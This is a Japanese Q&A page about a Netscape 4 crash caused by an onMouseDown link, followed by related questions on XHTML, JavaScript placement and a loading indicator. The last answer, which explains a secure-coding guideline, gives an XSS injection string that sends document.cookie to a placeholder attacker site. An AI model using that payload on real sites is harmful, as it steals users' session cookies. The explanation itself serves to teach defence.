OnMouseDownを使用したJavaScriptでNetscapeがアボート
する状況になり困っています。
文末に記述したHTMLを実行しただけで、かなりの頻度で
Netscapeがアボートします。

画面を表示したら、"test"というリンクでマウスの左ボタンを押したまま、画面のリフレッシュを待ちます。
リフレッシュが始まったらすぐにマウスの左ボタンを話します。

<html>
<head>
<script language="JavaScript">
function dosomething(){
var i=0;
}
</script>
</head>
<body>
<a href="JavaScript:dosomething();" onMouseDown = "location = 'test.htm';">test</a>
</body>
</html>

Netscapeがアボートする現象が発生したので、問題を簡単にしていき、上記、HTML文にまでたどり着きました。

何か、悪いことをやっていますか?それとも良く知られているバグでしょうか?
NC4.06~NC4.7までのいくつかを試してみましたが、ほぼ全滅です。IEやNetscape6は、OKでした。

よろしくお願いします。

このQ&Aに関連する最新のQ&A

A 回答 (1件)

とりあえず私の環境でのローカルテストでは何の問題もありませんでした。

(Win98+NN4.7)

一応
<a href="JavaScript:dosomething();" onMouseDown = "location = 'test.htm';">test</a>

<a href="JavaScript:dosomething();" onMouseDown = "location.href = 'test.htm';">test</a>
としてみたらいかがでしょう。
    • good
    • 0
この回答へのお礼

ありがとうございました。
Mouseを押し続けて、ちょうど良いタイミングで離すのが、ミソなのですが・・・。

とりあえず、実際のシステムの方では、回避策がみつかりましたので、それでいくことにしました。

お礼日時:2001/01/05 18:18

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!

このQ&Aと関連する良く見られている質問

Q 内に書くことはできません」

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてしまいます。
エラーが表示されるタグは下記のようなものです。

<script type="text/javascript">
document.write('<img src="http://~/w3a/writelog.php?ref='+document.referrer+'" width="1" height="1" />');
</script> >

アクセスログは普通に取得できているので問題ないのですが、もし上記エラーを回避する方法があればご教授下さい。よろしくお願いします。

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてし...続きを読む

Aベストアンサー

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタグがエスケープされていないため、これがスクリプトの一部ではなく文書構成要素だと判断されるからです。XHTML 1.0 のスキーマは、script 要素内に img 要素が出現することを許していません。もちろん、スクリプトとしても正しく動作しません。

従って、XML のルールに従ってエスケープする必要があります。特に「<」と「&」は必ずエスケープしなければなりません。

document.write('&lt;img .... />');

ですが面倒なことに、「ニセモノの XHTML」ではこれが動作しなくなります。「ニセモノの XHTML」は、HTML との互換性のために script 要素内の「<」「&」をうまく扱ってくれるのですが、それが仇となり、上記では「&lt;」が「<」に戻りません。

ならば、コメント区間にするのはどうでしょう。XML でもコメント内なら「<」「&」が現れても大丈夫です(ただし「--」だけは駄目です)。

<script type="text/javascript"><!--
document.write('<img .... />');
//--></script>

「ニセモノの XHTML」ならこれでも構いません。しかし、「ホンモノの XHTML」では、コメントは本当に破棄されてしまい、上記では動作すらしなくなります。

そこで、XML/HTML のルールを使わず、JavaScript のルールでエスケープすることを考えます。

document.write('\u003Cimg .... />');

これなら大丈夫でしょう。XML/HTML に限らず、言語が混在する際は必ず適切なエスケープを施す必要があります。エスケープを避けたければ外部スクリプトにして下さい。


なお、ここには別の問題があります。そもそも「ホンモノの XHTML」では、document.write を使用できません。これは HTML 互換の機能だからです(HTML5 に明記されています)。

XHTML を採用するのであれば、それが「ホンモノ」でも「ニセモノ」でも大丈夫なよう、document.write に頼らないコードを作成して下さい。あるいは try...catch で括るなどして、「ニセモノ」として処理されたときのみコードが動作するよう工夫して下さい。あるいはいっそ、XHTML を止めるのも 1 つの選択でしょう。

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタ...続きを読む

Qとどっちに入れる?どっちも入れる??

よくJavaScriptで、<head></head>の間に書きこむのと、<body></body>の間に書くのがありますが、どう違うのでしょうか。<head></head>に書くだけのが大半で、たまに両方書くのがあるのですが、毎回疑問に思ってました。お願いです。教えてくださいまし。

Aベストアンサー

どのような場合に…というのがはっきりしないのであいまいな回答になっちゃいますが、どっちの場合もあります。

functionだとheadの中に書いてますが、動的に文書の内容を書き出したりするような、最終的な命令部分はbodyの中に書いてますね。headの中で定義した関数をbodyの中で呼び出したりしますから。

Q

<html><head>
<style type="text/css">
<!--
#loading {
position: absolute;/* ロード中に表示する文字列の絶対位置の設定(必須) */
top: 35%;/* 画面の上部からの文字の位置(必須) */
left: 45%;/* 画面の左側からの文字の位置(必須) */
font-style: italic;
font-family: Verdana;
}
-->
</style>
<script type="text/javascript">
<!--
document.write('<style type="text/css">#doc { visibility: hidden; }<\/style>');
document.write('<div id="loading">Now Loading...<\/div>');// ロード中に表示する文字列

var i = 0;
var ele = document.getElementById("loading");
var str = ele.firstChild.data;

function char_loop(ele, str) {
ele.innerHTML = str.substring(0, i++ % str.length + 1);
}
setInterval("char_loop(ele, str);", 100);

window.onload = function() {
ele.style.display = "none";
document.getElementById("doc").style.visibility = "visible";
}
// -->
</script>
</head>
<body>
<span id="doc">
ここに本文を表示
</span>
</body>
</html>


上のような、NewLoading... を作ってみたんですが、
画像のように表の内枠だけ残ってしまいます。
どうにかならないですかね。

ちなみにこの画像のURLは、↓こちらです。
http://shibaken.cool-biz.net/contents02.html

お願いします。

<html><head>
<style type="text/css">
<!--
#loading {
position: absolute;/* ロード中に表示する文字列の絶対位置の設定(必須) */
top: 35%;/* 画面の上部からの文字の位置(必須) */
left: 45%;/* 画面の左側からの文字の位置(必須) */
font-style: italic;
font-family: Verdana;
}
-->
</style>
<script type="text/javascript">
<!--
document.write('<style type="text/css">#doc { visibility: hidden; }<\/style>');
document.write('<div id="loading">Now Loading...<\/div>');// ロード中に表示...続きを読む

Aベストアンサー

当方の環境 Firefox (3.6, linux) で見たところ問題なく表示されたのでよくわからないのですが、 <script> ... </script> を <body> と <span> の間に入れるのがよいと思います。(document.write() を含む <script> は出力結果を埋め込みたい場所に書く。)

あと関係ないことですが、
中央に表示 text-align: center; width: 100%;
<div id="doc"> ... </div>が普通だと思います。

Q 要素の内

▽安全なウェブサイトの作り方
  http://www.ipa.go.jp/security/vuln/documents/website_security.pdf

><script>...</script> 要素の内容を動的に生成しない
>ウェブページに出力する<script>...</script>要素の内容が、外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれてしまう可能性があります

・P25で上記のように書かれているのですが、理解できません(何故ここだけ動的生成してはいけないのか等)
・具体的にどのようにして埋め込まれる恐れがあるのでしょうか?
・またここで書いている内容は、下記何れを指しているのでしょうか?
・ココカラ<script>...</script>ココマデ
・<script>ココカラ...ココマデ</script>

Aベストアンサー

攻撃の容易性でしょう。

この脆弱性を付く攻撃をする際に一番苦労するのが <script> をどうやって埋め込むかです。これは入力内容のエスケープ処理で大体は塞がれてしまうのですが、<script> 要素内に直接埋めこめられるならその問題が無いので、かなり攻撃しやすいサイトとなります。

埋め込み方法ですが、以下の様な生成をするサイトの場合なら

入力内容: 太郎
出力内容: <script>alert('こんにちは太郎さん')</script>

そのサイト内で使用している cookie 内容を盗聴するために、以下のように攻撃できます。

入力内容: ');window.location='http://攻撃サイト/'+document.cookie;a=('
出力内容: <script>alert('こんにちは');window.location='http://攻撃サイト/'+document.cookie;a=('さん')</script>

引用符のエスケープ処理で塞がれるかもしれませんが、それでも対処できる余地はあります。


人気Q&Aランキング

おすすめ情報